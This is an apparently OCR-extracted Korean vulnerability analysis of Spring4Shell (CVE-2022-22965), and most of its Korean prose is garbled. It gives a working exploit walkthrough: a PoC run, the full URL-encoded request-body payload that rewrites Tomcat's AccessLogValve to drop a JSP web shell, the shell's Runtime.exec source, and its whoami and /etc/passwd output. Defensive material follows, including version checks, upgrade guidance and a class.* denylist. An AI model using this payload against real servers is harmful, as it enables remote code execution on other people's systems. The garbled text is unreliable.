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Step 2. PoC HIAE
HAEES 9@ PoCrt A github URLE Th&at 2oh,

URL : https://github.com/dinosn/spring—core—rce

step 1) FAAPCAA PoC FER wpo]id mp(test.py)= T F APttt

$Python3 test.py --url http://127.0.0.1:8066

shell:http://

[PoC ZE A3f]

step2) AR @ fEeAol Aol Yol AHHL, o ol o] Waje] Suo] FHstek

O [ 127.0.0.1

root /f - if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in =
-.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new
byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -

[€4 ‘cmd=whoami’ &% 4]

O DO 127.0.01

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbhin:
/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/shin/nologin operator:x:11:0:0perator:/root:/shin/nologin
games:x:12:100:games:fusr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin dbus:x:81:81:System message bus:/:
/sbin/nologin systemd-coredump:x:999:997:systemd Core Dumper:/:/shin/nologin systemd-
resolve:x:193:193:systemd Resolver:/:/sbin/nologin // - if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a =

(94 ‘cmd=cat/etc/passwd’ &3 W&l
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Step 1. Fofd &4 €<

Spring4Shell F|oFd-2> HTTP 87o] & ofZgjAolde] HME=9)e uf, URL Et body He
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ofZz|Alo] Mol “http://test.com/greeting?id=test” Q7% o] Z @PostMapping(“/gree
ting )2 QI8 id="test” IHUEE  Greeting EFYS] Q@3 or HEAsty, AA ide HEE
“test’ = AAHT
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Data binding

Public class Greeting{ o
Controller —  Private long id; —— greeting.getld()=="test"

@PostMapping(“/greeting”) ol 24 w2

[Data binding — ¥¥tAH] HA]

SpringdShell  #9F¥& o]2]gt Data binding WlAYZS o]&ste] dut 74
ClassLoader £4-L AR 24 7] WRo| @AsI} I
ClassLoaderS AAst= @3S Byozy Y7 A=

—1

WAk opy=t
AR otaflel Zo] URL E:= bodyol
Hzshs P97t 7hesith

A ym—
Q) http://www.test.com/greeting :

Body: class.module.classLoader...=test o

Data binding

Public class Greeting{ class.module.classLoader...
Controller —  Private long id;  — pattern=="test"

(et AT CR ) ClassLoader Z§#| &7

[Data binding — ClassLoader 2| ®7]
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Step2. FFH Al

Spring Framework o4+ Data binding2 433 © ClassLoader, ProtectionDomain ¥} 72 FQ
AA7E QFolA FAE= As WASH] $sl £HE(Class.class==beanClass)& & #=
ASol= Z= 7F EAee}. oAt JDK 9 HAREH E S A(class.getModule) 7} =& HA
ClassLoader ZIAIE &]FolA A 4 A =] Springdshell FHeFH o= oJojF

PropertyDescriptor[] pds = this.beanInfo.getPropertyDescriptors();
for (PropertyDescriptor pd : pds) {
if kClass.class == bean[lassl&&

("classLoader”.equals{pd.getMame(}) || "protectionDomain”.eguals(pd.getName()})) {
/f Ignore Class.petClassloader() and getProtectionDomain() methods - nobody needs to bind to those
if (Class.class == beanClass && (!"name”.equals{pd.getMame()}) &% !pd.getName().endskith{"Name"})} {
/f Only allow all mame variants of Class properties
continue;
I
if (pd.getPropertyType() != null && (Classloader.class.isfssignableFrom{pd.getPropertyType())
|| ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
/f Ignore Classloader and ProtectionDomain types - nobody needs to bind to those

continue;

[5§%] W< 1 (CachedIntrospectionResult.java)]

Spring Framework 41 m{z] 4 U85 HWH CVE-2010-1622 FoFd A Ht; AASH
Bde Altstar glow, 2 £49 o]F watth d&stesE WHAEIH. EF ClassLoader

2 ProtectionDomain ®IXE WA|5t7] {43t &= HA Az 22 o] F7tE| At

@2 private woid introspectInterfaces(Class<?» beanClass, Class<?» currClass, Set<St

// GenericTypefwarePropertyDescriptor leniently resolves a set* write method

// sgainst a declared read method, so we prefer read method descriptors here.

pd = buildGenericTypedwarePropertyDescriptor(beanClass, pd);

if (pd.getPropertyType() != null &% (ClassLoader.class.lisAssignableFrom{pd.getPropertyType())

|| ProtectionDomain.class.isAssignableFrom{pd.getPropertyType(}))) {

// Ignore Classloader and ProtectionDomain types - nobody needs to bind to those
continue;

T

this.propertyDescriptors.put{pd.getiame(}, pd);

[ffx] WY 2 (CachedIntrospectionResult.java)]
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Step 3. PoC &4

HAES AMEH PoCE A EM, Tomcat @] AccessLogValve 9] &A1& ®HZxsto] ¢ fjd &
A& st gl 8ol ClassLoader & W7ot metu|HE Aol HUH AccessLog 9
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A 72
ey ofg) FAF=rt ZFE jsp dS BEAFE 4 Aok

= 27e% Ha °_—
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@ 0 =

Request Body: AccessLog Tt £’ HZE
class.module.classLoader...pattern=[& 2 2 E] EOOY 2 == YHIC
class.module.classLoader...suffix=jsp EInt ™OJAL == jsp
class.module.classLoader...directory=webapps/ROOT 200t A2 == webapps/ROOT
class.module.classLoader...prefix=tomcatwar 211tY 0|8 == tomcatwar

[PoC +7 IA]

PoC oA msizte] ¢ ofjE&eiAlolder Afsh= 242 offiet £

Time Source Destination Protocol Length Info
4 0.002279084 172.17.8.1 172.17.0.2 HTTP 1087 POST / HTTP/1. tion/x-www-form-urlencoded)
0 0 p 208 5 k A e

c2}i if("j".equals(request.getParameter("pwd"))){

i.getRuntime().

nt.pipeline.f

-1
-~ Form item: module er.r ontext.parent.pipelin = "webapps/RO0OT"
Key: .module 0 r.T t.pare pipeline.fir 0
Value: webap
~ Form item: 0 Ty text.parent.pipel i .prefix" "tomcatwar"
Key: .mo il 0 r t.parent.pipeline.f

class.module oa
.module.classLoader.

[8%3 Body W-8(wireshark)]
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class.module.classLoaderresources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%201if (%223%22. equ
als(request.getParameter(%22pwd%22)))%7B%208java.io. InputStream%20in%20%3D%20%25%7Bc1%7D1
.getRuntime() .exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%208%3D%
20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while ( (a%3Din.read(b))!%3D-1)

%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

9 oA AFsh= A HolHe oot 22 dd 2

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“"cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];

while((a=in.read(b))!=-1) {

out.println(new String(b));

}

[(2axdd] Z4dse 4d3E]

2) Bl S WA oapa 2amele] FulAE iR AR

class.module.classLoader.resources.context.parent.pipeline.first.suffix=jsp

3) 2amd A= W7 L dAs 2Ond J2E ARE HHEIz WAt

class.module.classLoaderresources.context.parent.pipeline.first.directory=webapps/ROOT

4) 2ampdy WA - 2andWe “tomcatwar’ & W7

rol

o}

class.module.classLoaderresources.context.parent.pipeline first.prefix=tomcatwar
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95efb ROOTHt pwd
gpsf:

“"cmd")).g
printl

nete

[app bin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var lJf -
if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in =
-.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new
byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - -
if("i".equals(request.getParameter("pwd"))){ java.io.InputStream in =

[AE2heA o]gste] Ad HH]
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Springdshell #2FH-2 JDK9 WA o4& AH&s5t= Spring Framework(Spring MVC E+= Spring
WebFlux) €4 cf&=]7ol4o]A @stet. JDK ¥ 77} Spring Framework A8 #5F5 2<lsto]
ok 4 Uth

1.JDK HA <l

@AM $<0 JDK #A Sl Bels o JDKO olgel ML AgE A9 At

# java -version

<Ol Al>

openjdk version "17.0.2" 2022-01-18
OpenJDK Runtime Environment (build 17.0.2+8-Ubuntu-120.04)
OpenJDK 64-Bit Server VM (build 17.0.2+8-Ubuntu-120.04, mixed mode, sharing)

2. Spring Framework A& -5 &<l

Z2AETZ}L jar, war 7|2 Hol Qe AF zp FHAR WHS] dES AT F
Bhols At WEo]l AP A ofjet o] ¢l o] EARIHH Spring ZE|YYIE
ARgsto] ZidE S8 mzaflolng FoRde] tigh ehly} Het tizo] T Qs

#find . -name spring-beans* jar

#find . -name spring* jar

#find . -name CachedIntrospectionResults.class

/M find . -name spring-beansx. qu
_qpp.TJmeqT,'; p; 'ROOT/WEB-INF/lib/spring-beans-5.3.17.jar

[root@fb2f57aa ;Eh

['find . —name spring—beans*.jar’ BFo] &3 J-§]
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Maven — pom.xml 4%

<properties>
<spring-framework version>5.3.18 </spring-framework.version >

</properties>

Gradle — build.gradle %

l ext['spring-framework.version’] = '5.3.18'
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Spring &4 E211
1. Apache Tomcat& 10.0.2,9.0.62,8.5.78 B o2 ado|=
2.]JDK9 ol W& ARgstal Q&= 7% JDK8= thelldolE

3. dof=glAolAd FEo] ClassLoader YEHEE TS ztdst=@ControllerAdviceS 37}

@ControllerAdvice
@Order(Ordered. LOWEST_PRECEDENCE)
public class BinderControllerAdvice {

@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[l{"class.*", "Class.*", "*.class.*", "*.Class.*"};

dataBinder.setDisallowedFields(denylist);

o
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« URL: https://spring.io/blog/2022/03/31/spring—framework—rce—early—announcement#
suggested—workarounds

« URL: https://jfrog.com/blog/springshell -zero—day—vulnerability—all-you—need—to—know/

« URL?: https://unit42.paloaltonetworks.com/cve—2022-22965—-springshell/

« URL: https://nvd.nist.gov/vuln/detail/CVE-2022-22965

« URL?: https://www.lunasec.io/docs/blog/spring—rce—vulnerabilities/

« URL: https://github.com/spring—projects/spring—framework/commit/002546b3e4b8d
791eabacccb81eb3168f51abb15

« URL: https://medium.com/geekculture/spring—core—rce—cve—2022-22965-a-deep—
understanding—f0bd02113769
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